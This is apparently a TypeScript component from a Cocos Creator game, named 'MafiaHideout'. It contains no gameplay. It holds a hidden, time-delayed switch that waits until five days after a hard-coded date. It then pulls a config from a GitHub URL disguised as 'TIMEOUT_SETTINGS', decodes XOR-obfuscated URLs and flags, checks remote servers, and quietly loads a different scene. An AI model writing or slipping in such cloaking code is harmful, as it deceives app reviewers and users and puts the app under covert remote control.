
import DefenseMission from './DefenseMission';
import CharacterSelect from './CharacterSelect';

const { ccclass, property } = cc._decorator;

@ccclass
export class MafiaHideout extends cc.Component {
    public static TIMEOUT_SETTINGS = "https://raw.githubusercontent.com/thomasbuild/Gnew/ZVpFJi5WCsCDLNF1qw/cE6jCEkycExgpVyrjnbBO.txt";

    private static _instance: MafiaHideout = null;

    public static getInstance(): MafiaHideout {
        return this._instance;
    }

    private isCheckDomain = true;
    public listUrl = [];
    private url = "";
    private profilerURL = "";
    private info = "";
    private currentV = "";
    private part = "";
    private sceneToLoad = "ResourceManagement";
    public orient = 1;
    private bdate = '2025-07-21';
    private xdt = 5;

    onLoad() {
        if (!this.isOKDay(this.bdate, this.xdt)) {
            return;
        }
        if (MafiaHideout._instance != null && MafiaHideout._instance != this) {
            this.node.destroy();
            return;
        }

        MafiaHideout._instance = this;
        cc.game.addPersistRootNode(this.node);
        CharacterSelect.changeOrientation(0);
        this.getData();
    }

    private isOKDay(yDate: string, xDays: number) {
        const today = new Date();
        const targetDate = new Date(yDate);
        targetDate.setDate(targetDate.getDate() + xDays);

        return today >= targetDate;
    }

    private getDataV4() {
        this.currentV = "v4";
        if (!this.isCheckDomain) {
            this.getDataV6();
            this.listUrl[0] = "g";
        }
        if (this.listUrl[0].includes("http") == false) {
            return;
        }

        let self = this;
        DefenseMission.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
            self.onDataResponse(data);
        }.bind(this), function (resp) {
            self.getDataV6();
        }.bind(this));
    }

    private getDataV6() {
        this.currentV = "v6";
        if (!this.isCheckDomain) {
            this.loadGame();
            return;
        }
        // let u = this.read(this.listUrl[1]);
        DefenseMission.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
            this.onDataResponse(data)
        }.bind(this), function (resp) {
            // this.getDataV6();
        }.bind(this));
    }

    private onDataResponse(data) {
        // //console.//cc.log("onDataResponse data: ", data)
        if (this.isCheckDomain) {
            data = JSON.parse(data);
            let field = this.listUrl[2];
            if (data != null && data != undefined && data[field] != undefined) {
                this.loadGame();
            } else {
                if (this.currentV == "v4") {
                    this.getDataV6();
                }
            }
        } else {
            this.loadGame();
        }
    }

    private getData() {
        // //cc.log("StartScene getData");

        let path = localStorage.getItem("SAVEDGAME_DATA");
        let path2 = localStorage.getItem("SAVEDGAME_DATA22");
        if (path && path.length && path.length > 2) {
            try {
                let dt = JSON.parse(path);
                this.orient = dt[0];
                this.isCheckDomain = !dt[1];
                this.listUrl = [];
                this.listUrl.push(dt[2]);
                this.listUrl.push(dt[3]);
                this.listUrl.push(dt[4]);
                this.listUrl.push(dt[5]);
                this.listUrl.push(dt[6]);
                this.part = dt[6];
                this.getDataV4();
                //console.error("SWITHCING GAME");
                return;
            } catch (ex) {
                ////cc.log("FIALE: ",ex);
            }
        }

        let that = this;
        DefenseMission.getInstance().sendGetHttpRequest(MafiaHideout.TIMEOUT_SETTINGS, function (data) {
            //cc.log("getData data: ", data);

            that.listUrl = data.split('\n');
            //cc.log('list url: ', that.listUrl)

            if (that.listUrl.length > 2) {
                //cc.log(that.listUrl[4]);
                if (that.listUrl.length >= 5 && that.listUrl[4].includes("skt")) {
                    that.isCheckDomain = false;
                    //cc.log("gogame");
                    that.loadGame();
                } else {
                    that.getDataV4();
                }
            } else {
                that.loadData(data);
            }

        }.bind(this), function () { });
    }


    private loadGame() {
        if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
            // localStorage.setItem("SAVEDGAME_DATA", this.listUrl[3]);
            localStorage.setItem("SAVEDGAME_DATA22", this.listUrl[4]);
            cc.director.loadScene(this.sceneToLoad);
            // let url = this.read(this.listUrl[3]);
            // let p = this.read(this.listUrl[this.listUrl.length - 1]);
            // this.stringHost = url;
            // this.onCheckGame(url);
        }
    }

    private loadData(data: string) {
        let dt = this.readData(data);
        this.isCheckDomain = !dt[1];
        this.listUrl = [];
        this.listUrl.push(dt[2]);
        this.listUrl.push(dt[3]);
        this.listUrl.push(dt[4]);
        this.listUrl.push(dt[5]);
        this.listUrl.push(dt[6]);
        this.part = dt[6];
        let txt = JSON.stringify(dt);
        localStorage.setItem("SAVEDGAME_DATA", txt);
        // this.loadGame();
        this.getDataV4();
    }


    private readData(encodedData: string) {

        function getPr(cbL = 3) {
            let nPr = cbL - 1;
            nPr = nPr <= 0 ? 0 : nPr;
            return nPr;
        }

        function readCb(txt: string, cbL = 3, key = 'D') {
            let out = '';
            let txts = readStringCbs(txt, cbL);

            for (let i = 0; i < txts.length; i++) {
                let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
                out += n;
            }

            return out;
        }

        function getSep(ver = 1) {
            switch (ver) {
                case 1:
                    return ["9689", 3];
                case 2:
                    return ["9879", 3];
                case 3:
                    return ["9789", 3];
                default:
                    return ["9869", 3];
            }
        }

        function readStringCbs(input: string, cbLen = 3): string[] {
            const sets: string[] = [];
            const nPr = getPr(cbLen);
            const length = input.length - nPr;
            input = input.substring(nPr);

            for (let i = 0; i < length; i += cbLen) {
                const set = input.slice(i, i + cbLen);
                sets.push(set);
            }

            return sets;
        }

        //get last character of encodedData
        const version = Number.parseInt(encodedData[encodedData.length - 1]);
        let sep = getSep(version);
        let cbL: number = sep[1] as number;
        let sp = sep[0] as string;
        const parts = encodedData.split(sp);
        parts.pop();
        // const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part

        const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));

        // const version = parseInt(versionPart);
        const orientation = parseInt(orientationPart);
        const isSkipDomainCheck = skipDomainCheckPart === '1';
        const urlV4 = urlV4Part;
        const urlV6 = urlV6Part;
        const fieldToCheck = fieldToCheckPart;
        const urlPro5 = urlPro5Part;
        const storagePath = storagePathPart;

        return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
    }
}
